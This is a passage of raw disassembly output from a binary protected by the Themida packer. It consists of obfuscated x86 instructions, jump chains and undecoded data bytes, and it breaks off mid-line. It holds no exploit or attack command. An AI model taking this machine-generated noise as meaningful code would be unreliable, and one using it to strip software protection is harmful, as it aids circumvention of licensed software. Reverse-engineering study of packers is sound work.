		add	ecx, 27F950B4h
		sub	edi, ecx
		pop	ecx
		mov	ecx, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		xor	eax, edi
		pop	edi
		push	ebx
		mov	ebx, 6FE5266Bh
		push	edx
		mov	edx, 5F3A1884h
		jmp	loc_58A65E
; ---------------------------------------------------------------------------
		dd 0E08C0F45h, 4DFFFFC1h, 0AA9C800Fh, 0F581FFFFh, 0C8391E51h
		db 89h,	0E9h
; ---------------------------------------------------------------------------


loc_595BDA:				; CODE XREF: Themida_:00593593j
		sub	esp, 4
		jmp	loc_58FD39
; ---------------------------------------------------------------------------


loc_595BE2:				; CODE XREF: Themida_:0058F9A9j
					; Themida_:00592D4Dj
		pop	ecx
		jmp	loc_597C49
; ---------------------------------------------------------------------------


loc_595BE8:				; CODE XREF: Themida_:loc_596ADAj
		shl	esi, 5
		not	esi
		jmp	loc_5911E9
; ---------------------------------------------------------------------------


loc_595BF2:				; CODE XREF: Themida_:0058FB26j
		push	eax
		mov	eax, 3B28336Dh
		xchg	eax, ebp
		not	ebp
		push	eax
		jmp	loc_592D12
; ---------------------------------------------------------------------------
		db 87h,	0F3h, 81h
		dd 70F02EBh, 5F55E918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595C0E:				; CODE XREF: Themida_:0058E3BFj
		push	0CE5h
		jmp	loc_5946A9
; ---------------------------------------------------------------------------
		dd 0B7535066h, 0F818E939h, 4BAFFFFh, 0E9000000h, 0FFFF9302h
		dd 6DE9D6F7h, 1FFFFEDh,	0B1C181E9h, 0E97D9564h,	0FFFF615Ch
		dd 0BB53D601h, 64BF3FB0h, 54FFCB81h, 0E3C15259h, 0FED9E904h
		dd 0D400FFFFh, 58E3285Ah, 0FFAB1CE9h, 13D5B8FFh, 0C73154BCh
		dd 5FFE0158h, 0FFB51EE9h, 0EC781FFh, 8142464Bh,	391B30C7h
		dd 10F78146h, 0E936E21Eh, 0FFFFA490h
; ---------------------------------------------------------------------------


loc_595C88:				; CODE XREF: Themida_:00597628j
		xchg	edx, [esp]
		pop	esp
		mov	ebp, [esp]
		jmp	loc_5929A0
; ---------------------------------------------------------------------------


loc_595C94:				; CODE XREF: Themida_:0058BFD6j
		inc	bl
		jmp	loc_596F17
; ---------------------------------------------------------------------------


loc_595C9B:				; CODE XREF: Themida_:00591BAEj
		mov	ch, dl
		mov	edx, [esp]
		add	esp, 4
		add	ch, 5Eh
		add	bl, ch
		mov	ecx, [esp]
		jmp	loc_591F65
; ---------------------------------------------------------------------------
		db 89h
		dd 4C381E3h, 81000000h,	4EBh, 241C8700h, 2424895Ch, 0FF6AD5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595CCD:				; CODE XREF: Themida_:00593881j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_590163
; ---------------------------------------------------------------------------


loc_595CDB:				; CODE XREF: Themida_:00591F6Cj
		push	eax
		mov	al, 9Eh
		jmp	loc_58BAFA
; ---------------------------------------------------------------------------


loc_595CE3:				; CODE XREF: Themida_:00595675j
		shl	edx, 4
		jmp	loc_597048
; ---------------------------------------------------------------------------


loc_595CEB:				; CODE XREF: Themida_:00592344j
		pop	ebx
		mov	eax, edi
		jmp	loc_597F3B
; ---------------------------------------------------------------------------


loc_595CF3:				; CODE XREF: Themida_:0059039Bj
		xor	eax, 63C32DCBh
		jmp	loc_590005
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0ECh
		dd 4, 68241C89h, 653E2254h, 0E9DA315Bh,	0FFFFC1D3h
; ---------------------------------------------------------------------------


loc_595D14:				; CODE XREF: Themida_:00595950j
		add	edx, 18C4493Ch
		sub	esp, 4
		jmp	loc_58BF7E
; ---------------------------------------------------------------------------
		dw 0BB8h
		dd 891D6D8Fh, 0BA5258C2h, 33F6307Fh, 15AD029h, 307F05D0h
		dd 34FF33F6h, 4D2CE924h, 0E381FFFFh, 1F742CEAh,	0D4B3800Fh
		dd 0F381FFFFh, 1420EEh,	815BD989h, 9335EAC7h, 1657E94Eh
		dd 34890000h, 0A7BFE924h, 5FE9FFFFh
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595D6F:				; CODE XREF: Themida_:00596417j
		xor	eax, ecx
		push	5AA2h
		mov	[esp], eax
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		mov	eax, [esp]
		push	edx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		jmp	loc_5926EA
; ---------------------------------------------------------------------------
		db 50h
		dd 0BC6DB1B8h, 0A55CE965h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595DA2:				; CODE XREF: Themida_:00596420j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_58ABE9
; ---------------------------------------------------------------------------


loc_595DB6:				; CODE XREF: Themida_:00594093j
		add	esp, 4
		jmp	loc_59715A
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 0FF8945E9h, 0F8CF81FFh, 4F6D4A01h, 6857534Fh, 3378760Ch
		dd 0F1EF815Fh, 8117B214h, 2A39E7E7h, 88810F3Ah,	81FFFF57h
		dd 1111A4C7h, 5FFB89EFh
		db 9, 0DFh
; ---------------------------------------------------------------------------


loc_595DF6:				; CODE XREF: Themida_:00592BD6j
		add	[ebx], eax
		pop	ebx
		pop	edx
		pop	eax


loc_595DFB:				; CODE XREF: Themida_:0058F957j
		push	3CB8h
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_5948B7
; ---------------------------------------------------------------------------


loc_595E0B:				; CODE XREF: Themida_:00597A8Ej
		push	edx
		mov	edx, 65526119h
		jmp	loc_594037
; ---------------------------------------------------------------------------


loc_595E16:				; CODE XREF: Themida_:0059799Fj
		pop	edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edx
		jmp	loc_5938B9
; ---------------------------------------------------------------------------


loc_595E21:				; CODE XREF: Themida_:00593739j
		sub	esp, 4
		mov	[esp], ecx
		push	5CCC0A2Ah
		pop	ecx
		xchg	edx, ecx
		not	edx
		jmp	loc_58FFDB
; ---------------------------------------------------------------------------


loc_595E36:				; CODE XREF: Themida_:00593B49j
		mov	ebp, 2187740Bh
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 0CCC089Fh
		add	edx, ebx
		pop	ebx
		jmp	loc_58E929
; ---------------------------------------------------------------------------


loc_595E4C:				; CODE XREF: Themida_:0058AF2Bj
		pop	ecx
		jmp	loc_58E077
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 16628AFh, 0AF0566F8h, 44A0E928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595E62:				; CODE XREF: Themida_:0058F503j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 66h
		dd 0E90002BAh, 0FFFFBCA6h, 83241C8Bh, 0A1E904C4h, 53FFFFD9h
		dd 0EF0B5DBBh, 0AFBF5716h, 0E940D315h, 0FFFF875Bh
; ---------------------------------------------------------------------------


loc_595E8C:				; CODE XREF: Themida_:005931DDj
		sub	edx, 280C0B9Fh
		add	edx, 7EF8540Bh
		add	edx, eax
		sub	edx, 7EF8540Bh
		add	edx, 280C0B9Fh
		push	eax
		mov	eax, 3FAE0CC1h
		push	edi
		mov	edi, 1607460Dh
		sub	eax, edi
		pop	edi
		and	eax, 396A59CBh
		xor	eax, 37B64054h
		push	esi
		mov	esi, 3D137D97h
		shl	esi, 1
		sub	esi, 21357AA6h
		add	esi, 0CE406D0h
		jmp	loc_58B7E3
; ---------------------------------------------------------------------------


loc_595ED8:				; CODE XREF: Themida_:0058CD10j
		push	7C73h
		jmp	loc_58A475
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0FFCEA4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595EED:				; CODE XREF: Themida_:005949BCj
		pop	edx
		xor	ebp, 4201Ch
		push	ebp
		xor	dword ptr [esp], 62764025h
		pop	eax
		xor	eax, 62764025h
		pop	ebp
		mov	edx, eax
		pop	eax
		add	edx, 73B13AC7h
		add	edx, edi
		sub	edx, 73B13AC7h
		push	dword ptr [edx]
		sub	dword ptr [esp], 6DD12502h
		jmp	loc_58A6B4
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241C89h, 0FFFF6828h
; ---------------------------------------------------------------------------


loc_595F30:				; CODE XREF: Themida_:0058BBBDj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		xor	bl, al
		jmp	loc_591CDB
; ---------------------------------------------------------------------------


loc_595F54:				; CODE XREF: Themida_:0059035Ej
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_595F7D:				; CODE XREF: Themida_:0058FFD6j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edi
		jmp	loc_58D852
; ---------------------------------------------------------------------------
		dw 0C14Eh
		dd 0EBE902EEh
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_595F9B:				; CODE XREF: Themida_:0058F272j
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		shr	esi, 2
		not	esi
		sub	esi, 690662Ch
		jp	loc_58F21F
		add	esi, 952E0913h
		xor	eax, esi
		push	dword ptr [esp]
		jmp	loc_594DA2
; ---------------------------------------------------------------------------
		dd 815AD030h, 4ECh, 241C8900h, 0C380F0B3h, 0DC870F12h
		dd 80FFFF78h, 5166D5EBh, 5BE96CB1h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_595FE7:				; CODE XREF: Themida_:00590CE2j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58E0C4
; ---------------------------------------------------------------------------


loc_595FF0:				; CODE XREF: Themida_:0059351Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_5952D8
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 24h
		dd 0E9586223h, 0FFFF4C25h, 0EBE9D601h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_596013:				; CODE XREF: Themida_:0058B808j
		mov	ebp, esp
		push	edx
		push	ebx
		mov	ebx, 703F0E06h
		sub	ebx, 615C2495h
		xor	ebx, 1BEA516Eh
		jmp	loc_5924C5
; ---------------------------------------------------------------------------
		db 4Dh,	81h, 0CDh
		dd 6D3B1018h, 0C241F581h, 0EE297CA0h, 5695E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596042:				; CODE XREF: Themida_:0058A708j
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp]
		jmp	loc_58F10B
; ---------------------------------------------------------------------------
		dd 6671E94Fh, 0F766FFFFh, 0F58166DDh, 3166BDD8h, 81665DEAh
		dd 0E92021E2h, 1E63h, 0EE5E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596086:				; CODE XREF: Themida_:0059619Bj
		add	ebp, ecx
		jmp	loc_58EBFE
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 34h
		dd 5D04B522h, 4FB8C381h, 875E6E83h, 0DCE9241Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5960A3:				; CODE XREF: Themida_:0059762Fj
		push	3B1D5A3Bh
		pop	ecx
		or	ecx, 44E112D3h
		not	ecx
		sub	ecx, 3A4169B4h
		mov	ebx, ecx
		pop	ecx
		not	ebx
		neg	ebx
		jmp	loc_595773
; ---------------------------------------------------------------------------
		db 5Fh
		dd 8324148Bh, 42904C4h,	242C8124h, 1F372BAEh, 0FF7EF7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5960D9:				; CODE XREF: Themida_:0058DCE2j
		pop	esi
		dec	esi
		push	eax
		push	2F3Fh
		mov	[esp], esi
		pop	eax
		jmp	loc_596124
; ---------------------------------------------------------------------------
		dw 0C289h
		dd 8124048Bh, 4C4h, 8EAC100h, 0FF5ACDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5960FD:				; CODE XREF: Themida_:00596BF9j
		add	eax, edx
		sub	eax, 3EBB71EBh
		jmp	loc_592AD7
; ---------------------------------------------------------------------------


loc_596109:				; CODE XREF: Themida_:0058DD6Cj
		xor	ebp, 34697598h
		push	ebx
		mov	ebx, 2F7B636Fh
		shr	ebx, 2
		jmp	loc_58E221
; ---------------------------------------------------------------------------


loc_59611D:				; CODE XREF: Themida_:0058A9F9j
		shl	bl, 1
		jmp	loc_590545
; ---------------------------------------------------------------------------


loc_596124:				; CODE XREF: Themida_:0058DB7Cj
					; Themida_:005960E5j
		pop	esi
		shr	eax, 2
		xor	eax, 236A4CFFh
		sub	eax, 2447CF30h
		sub	edx, eax
		jmp	loc_592B98
; ---------------------------------------------------------------------------


loc_596139:				; CODE XREF: Themida_:00592FE3j
		pop	eax
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, esi
		pop	esi
		jmp	loc_58DF20
; ---------------------------------------------------------------------------
		db 66h,	31h, 34h
		dd 34336624h, 1AAAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59615A:				; CODE XREF: Themida_:005946EEj
		add	ecx, 0F0C8D299h
		mov	[eax], ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_58D6E8
; ---------------------------------------------------------------------------


loc_596173:				; CODE XREF: Themida_:005948A7j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		and	eax, edx
		jmp	loc_590938
; ---------------------------------------------------------------------------


loc_59618F:				; CODE XREF: Themida_:0058B4DDj
		inc	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 725A3CCEh
		jmp	loc_596086
; ---------------------------------------------------------------------------


loc_5961A0:				; CODE XREF: Themida_:0058B760j
		push	edx
		mov	dh, 0C4h
		xor	dh, 11h
		jbe	loc_592085
		not	dh
		not	dh
		shr	dh, 6
		and	dh, 0CBh
		jnp	loc_58E487
		sub	dh, 0E1h
		push	ecx
		mov	cl, dh
		mov	bh, cl
		pop	ecx
		pop	edx
		jmp	loc_58E47C
; ---------------------------------------------------------------------------


loc_5961CB:				; CODE XREF: Themida_:00595779j
		sub	ebx, 4AE42B21h
		mov	ebp, ebx
		jmp	loc_595590
; ---------------------------------------------------------------------------
		dd 5EE9FA89h, 8FFFFD0h,	24148BD3h, 0FF47A9E9h, 0D2BA52FFh
		dd 8136300Ah, 0F55341C2h, 6FE2812Ch, 81388469h,	3545FEEAh
		dd 5AD301A1h, 0E95A5452h, 0FFFFC1D9h, 8324348Bh, 0EA8704C4h
		dd 0EA87D5F7h, 0F03E2C1h, 0FFBFEC89h, 2EAC1FFh,	0DDB98B0Fh
		dd 0E2C1FFFFh, 0B9E28103h, 0F263F73h, 0FF857D8Fh, 0FAE956FFh
		dd 5CFFFF9Ah
		db 88h,	0E2h, 56h
; ---------------------------------------------------------------------------


loc_596243:				; CODE XREF: Themida_:0058EE36j
		xchg	esi, [esp]
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 0FD01h
		dd 6FD4C581h, 0C58104F6h, 60187465h, 6FB0E95Fh,	0E952FFFFh
		dd 0FFFFF7E5h
; ---------------------------------------------------------------------------


loc_59626C:				; CODE XREF: Themida_:00595581j
		sub	eax, esi
		push	ebp
		mov	ebp, 0DFE56BFh
		or	ebp, 2E9F1515h
		and	ebp, 9F254C3h
		jz	loc_591B5B
		add	ebp, 586A181Ah
		add	ebp, 1BA2E540h
		add	eax, ebp
		pop	ebp
		pop	esi
		jmp	loc_593FF2
; ---------------------------------------------------------------------------
		db 66h
		dd 0CA32C181h, 8BCD8966h, 0C483240Ch, 0EB296604h, 762E9h
		dd 0D2F68000h, 805AF528h, 0E50055EDh, 8055C580h, 45865C5h
		dd 2CE8288Dh, 0D828598Dh, 3C246866h, 241C8966h,	0B57AE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5962DA:				; CODE XREF: Themida_:0058AC53j
		add	esi, 80820Ch
		mov	edi, esi
		pop	esi
		jmp	loc_58FD28
; ---------------------------------------------------------------------------
		dd 59118858h, 8324148Bh, 72E904C4h, 0C1FFFFBBh,	0B85006EDh
		dd 609126A6h, 0FF93E9E9h, 4E8C1FFh, 0E7880548h,	0C681F7BEh
		dd 75A87462h, 0EE81C629h, 75A87462h, 24343358h,	0FF5733E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596325:				; CODE XREF: Themida_:0058B3EBj
		pop	ebx
		add	eax, 3C9C7770h
		sub	eax, ebx
		sub	eax, 3C9C7770h
		push	ebx
		push	edx
		mov	edx, 624569C2h
		xor	edx, 4E3404DBh
		sub	edx, 14B13395h
		add	edx, 36BE3AC9h
		mov	ebx, edx
		pop	edx
		jmp	loc_594CC1
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0BB531C77h, 7F645630h, 4245C31h, 81241C8Bh, 4C4h, 24048B00h
		dd 815B5453h, 4C3h, 0FE95700h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59637B:				; CODE XREF: Themida_:00591558j
		pop	esp
		mov	ax, [esp]
		push	ebp
		jmp	loc_59009C
; ---------------------------------------------------------------------------
		dw 564Eh
		dd 5E2414F7h, 0B850D6F7h, 58D00623h, 43082D40h,	0FD0551BBh
		dd 0E9847ACEh, 0FFFF6963h, 52536650h, 0C38FE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5963AE:				; CODE XREF: Themida_:0058A2CFj
		add	al, 4Bh
		add	al, 9Eh
		sub	al, bl
		sub	al, 9Eh
		push	ebx
		push	eax
		push	edx
		mov	dh, 3Dh
		and	dh, 8Ch
		jno	loc_597ED0
		not	dh
		dec	dh
		sub	dh, 23h
		jmp	loc_58CEC2
; ---------------------------------------------------------------------------
		db 0ADh, 53h
; ---------------------------------------------------------------------------


loc_5963D2:				; CODE XREF: Themida_:005913B7j
		mov	esi, 65F117F6h
		or	esi, 0A0B0623h
		dec	esi
		push	0
		sub	[esp], esi
		pop	esi
		dec	esi
		sub	esi, 9004E805h
		jmp	loc_590660
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 7598E900h, 5F5AFFFFh, 5C38C681h, 0EE814E85h, 6CBF4333h
		dd 0FF977DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596411:				; CODE XREF: Themida_:00597643j
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_595D6F
; ---------------------------------------------------------------------------


loc_59641C:				; CODE XREF: Themida_:0059065Bj
		mov	edx, [esp]
		push	edx
		jmp	loc_595DA2
; ---------------------------------------------------------------------------


loc_596425:				; CODE XREF: Themida_:0058D5F3j
		add	bh, 6Bh
		mov	ecx, [esp]
		add	esp, 4
		push	small 39DEh
		mov	[esp], cx
		mov	ch, 0FCh
		add	bh, ch
		pop	cx
		mov	cl, bh
		pop	ebx
		push	eax
		jmp	loc_58F5D3
; ---------------------------------------------------------------------------


loc_596445:				; CODE XREF: Themida_:0059720Aj
		xor	cl, 9Dh
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0DEh
		sub	ah, 0FEh
		jmp	loc_59120D
; ---------------------------------------------------------------------------


loc_59645B:				; CODE XREF: Themida_:0059194Fj
		mov	eax, 39264A9Bh
		sub	ebx, 51A2444Bh
		add	ebx, eax
		add	ebx, 51A2444Bh
		pop	eax
		push	small word ptr [eax]
		jmp	loc_593916
; ---------------------------------------------------------------------------


loc_596477:				; CODE XREF: Themida_:00590A20j
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_596481:				; CODE XREF: Themida_:00591986j
		sub	edx, 64636A58h
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 1C5F236Fh
		push	ebp
		mov	ebp, 56D1014Bh
		xor	ebp, 29A83750h
		jmp	loc_596CEF
; ---------------------------------------------------------------------------


loc_5964A4:				; CODE XREF: Themida_:0058D0DBj
		push	edx
		mov	edx, 4490398Eh
		sub	edx, 213E255Dh
		mov	ecx, edx
		pop	edx
		jmp	loc_58E2F2
; ---------------------------------------------------------------------------


loc_5964B8:				; CODE XREF: Themida_:0059430Dj
		add	eax, 502B6903h
		sub	eax, edi
		sub	eax, 502B6903h
		pop	edi
		jmp	loc_58E6A9
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 1B19686Fh, 0AE9F880Fh, 99E9FFFFh
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5964DB:				; CODE XREF: Themida_:00591351j
		sub	eax, 29835A61h
		jmp	loc_597648
; ---------------------------------------------------------------------------


loc_5964E5:				; CODE XREF: Themida_:00590B22j
		pop	ecx
		sub	al, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_591BA0
; ---------------------------------------------------------------------------


loc_5964F6:				; CODE XREF: Themida_:00592F0Dj
		mov	edi, 7FE78ADh
		sub	edi, 0BE503E93h
		add	ecx, edi
		jmp	loc_594CDA
; ---------------------------------------------------------------------------


loc_596508:				; CODE XREF: Themida_:00597B70j
		sub	esi, 6EDE450Fh
		sub	esi, 1A8479B3h
		sub	esi, 79642ACAh
		sub	esi, 56A7FE1Fh
		or	eax, esi
		jmp	loc_59355A
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3DA2h, 74FF565Dh, 0E95E0424h, 0FFFFCB96h, 8EE9E089h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59653F:				; CODE XREF: Themida_:0058AFE5j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_597C55
; ---------------------------------------------------------------------------
		dd 7A48BE56h, 0EED17AA9h, 4E51EE81h, 0C6814321h, 5A0E1967h
		dd 8373C681h, 0F221C036h, 6FCA815Eh, 42146069h,	0FFC6F7E9h
		dd 0A082E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59657E:				; CODE XREF: Themida_:0058A712j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59658E:				; CODE XREF: Themida_:00592433j
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_58E21B
; ---------------------------------------------------------------------------
		dd 652CC0FEh, 0DEEE80h,	0DEC680C6h, 33EE8058h, 6824EE80h
		dd 4652h, 0B1240C89h, 59CE00C1h, 535AF028h, 11E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5965CD:				; CODE XREF: Themida_:0058B6ABj
		push	ebp
		mov	ebp, ecx
		mov	ebx, ebp
		pop	ebp
		jmp	loc_58C0CD
; ---------------------------------------------------------------------------
		dd 836A92B9h, 244C0126h, 9CE95908h, 0F7FFFF4Dh,	1BD55D7h
		dd 1000000h, 0FE875DEFh, 4DDBF681h, 0DEF769CDh,	0C681EED1h
		dd 0A5A6A105h, 0E95EF589h, 0FFFFDC08h, 297B68h,	5800E900h
		dd 0C981FFFFh, 390B1356h, 0C8AEC181h, 0CD018200h, 0FF8FB8E9h
		dd 348B66FFh, 2C48124h,	66000000h, 666A8C68h, 66243489h
		dd 22474FFh, 8F665E66h,	83E92404h
		db 3Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59664B:				; CODE XREF: Themida_:0058BCF4j
		sub	bl, al
		add	bl, 0BEh
		jmp	loc_5946B3
; ---------------------------------------------------------------------------


loc_596655:				; CODE XREF: Themida_:0058F8C6j
		xor	ebx, eax
		jmp	loc_58CCA5
; ---------------------------------------------------------------------------


loc_59665C:				; CODE XREF: Themida_:0058A34Bj
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_58FF8A
; ---------------------------------------------------------------------------


loc_596667:				; CODE XREF: Themida_:00592D5Ej
		push	1927h
		jmp	loc_594B1E
; ---------------------------------------------------------------------------


loc_596671:				; CODE XREF: Themida_:005952D3j
		push	1994h
		mov	[esp], ebx
		jmp	loc_596EC3
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E3895324h, 2356B850h, 51483033h, 0D835D1B9h, 14E98140h
		dd 0F7599D38h, 0BD5553D9h, 0BC50899h, 0E95DEB89h, 0FFFFB961h
		dd 3098C781h, 0F7012034h, 0FF58B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5966B5:				; CODE XREF: Themida_:0058A7E8j
		push	esi
		push	3E5A6B2Bh
		pop	esi
		jmp	loc_591516
; ---------------------------------------------------------------------------


loc_5966C1:				; CODE XREF: Themida_:loc_593026j
		push	ebp
		mov	ebp, 247D70B9h
		xor	edi, ebp
		pop	ebp
		add	edi, 9A49F687h
		jmp	loc_597305
; ---------------------------------------------------------------------------
		db 57h,	59h, 0E9h
		dd 0FFFF41BFh, 52FFEC80h, 0B753E5B2h, 0CDEEE9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5966EA:				; CODE XREF: Themida_:0058AAE5j
		pop	ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 6C487D9Ah
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	[edi+20h], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59259A
; ---------------------------------------------------------------------------


loc_596713:				; CODE XREF: Themida_:0058BAC5j
		mov	ebp, eax
		jmp	loc_597D45
; ---------------------------------------------------------------------------


loc_59671A:				; CODE XREF: Themida_:0058E216j
		sub	edx, 6F356822h
		sub	edx, 174149EFh
		push	ebp
		mov	ebp, 7BE50EC1h
		jmp	loc_58DE71
; ---------------------------------------------------------------------------


loc_596731:				; CODE XREF: Themida_:0058EE47j
		pop	esi
		jmp	loc_58D777
; ---------------------------------------------------------------------------


loc_596737:				; CODE XREF: Themida_:0058B2CAj
		pop	esp
		jmp	loc_596C87
; ---------------------------------------------------------------------------


loc_59673D:				; CODE XREF: Themida_:0058EB09j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ebp
		mov	ebp, esp
		jmp	loc_59161F
; ---------------------------------------------------------------------------


loc_59674C:				; CODE XREF: Themida_:0058D783j
					; Themida_:loc_5900F4j
		shl	eax, 6
		add	eax, 35B55D95h
		jmp	loc_58DA2D
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 62680000h, 89000023h, 0B850243Ch, 6E17339h
		dd 2401FC0Dh, 0D28B0F52h, 40FFFF88h, 0EFAC840Fh, 0E0D1FFFFh
		db 0B5h, 16h
; ---------------------------------------------------------------------------


loc_596786:				; CODE XREF: Themida_:0058A798j
					; Themida_:0058DA36j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_5971BC
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0B4h
		dd 0E9685559h, 0FFFF86C9h, 0ABE9FD88h, 8B000006h, 0C481242Ch
		dd 4, 0E9240C33h, 0FFFF400Bh
; ---------------------------------------------------------------------------


loc_5967BC:				; CODE XREF: Themida_:0058A86Ej
		push	ecx
		jmp	loc_59216A
; ---------------------------------------------------------------------------


loc_5967C2:				; CODE XREF: Themida_:00592C18j
		push	ecx
		jmp	loc_595602
; ---------------------------------------------------------------------------


loc_5967C8:				; CODE XREF: Themida_:0058C256j
		push	53FFh
		mov	[esp], ebx
		mov	ebx, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	486Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_58FCD4
; ---------------------------------------------------------------------------
		dd 0F48034B4h, 0E98F0FA5h, 0FEFFFFE6h, 850FC4h,	0C0FFFF60h
		dd 0B5E903E4h, 81FFFF74h, 96BDFBEDh, 335C547Eh,	34312434h
		dd 4833E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59681E:				; CODE XREF: Themida_:005957FFj
		push	eax
		mov	eax, 0
		add	eax, ecx
		mov	[eax], dh
		pop	eax
		jmp	loc_59538A
; ---------------------------------------------------------------------------


loc_59682E:				; CODE XREF: Themida_:0058E278j
		push	eax
		mov	eax, 5AD52A50h
		dec	eax
		jo	loc_594BAC
		neg	eax
		jbe	loc_58F2DF
		add	eax, 0B13531EBh
		not	eax
		shr	eax, 1
		inc	eax
		dec	eax
		mov	al, bh
		not	edx
		jmp	loc_593BD3
; ---------------------------------------------------------------------------
		db 89h
		dd 4832424h, 98E90424h,	0E9FFFF79h, 0FFFF3A66h
; ---------------------------------------------------------------------------


loc_596868:				; CODE XREF: Themida_:0058C591j
		push	edx
		mov	dh, 0D8h
		mov	bh, dh
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0C8h
		jmp	loc_592C12
; ---------------------------------------------------------------------------
		db 0B7h
		dd 28EF042Ch, 8BEF2CF8h, 0C481241Ch, 4,	0B6E9D828h, 66FFFFCDh
		dd 6824048Bh, 31A3h, 54240489h,	40558h,	0F7680000h, 8900003Dh
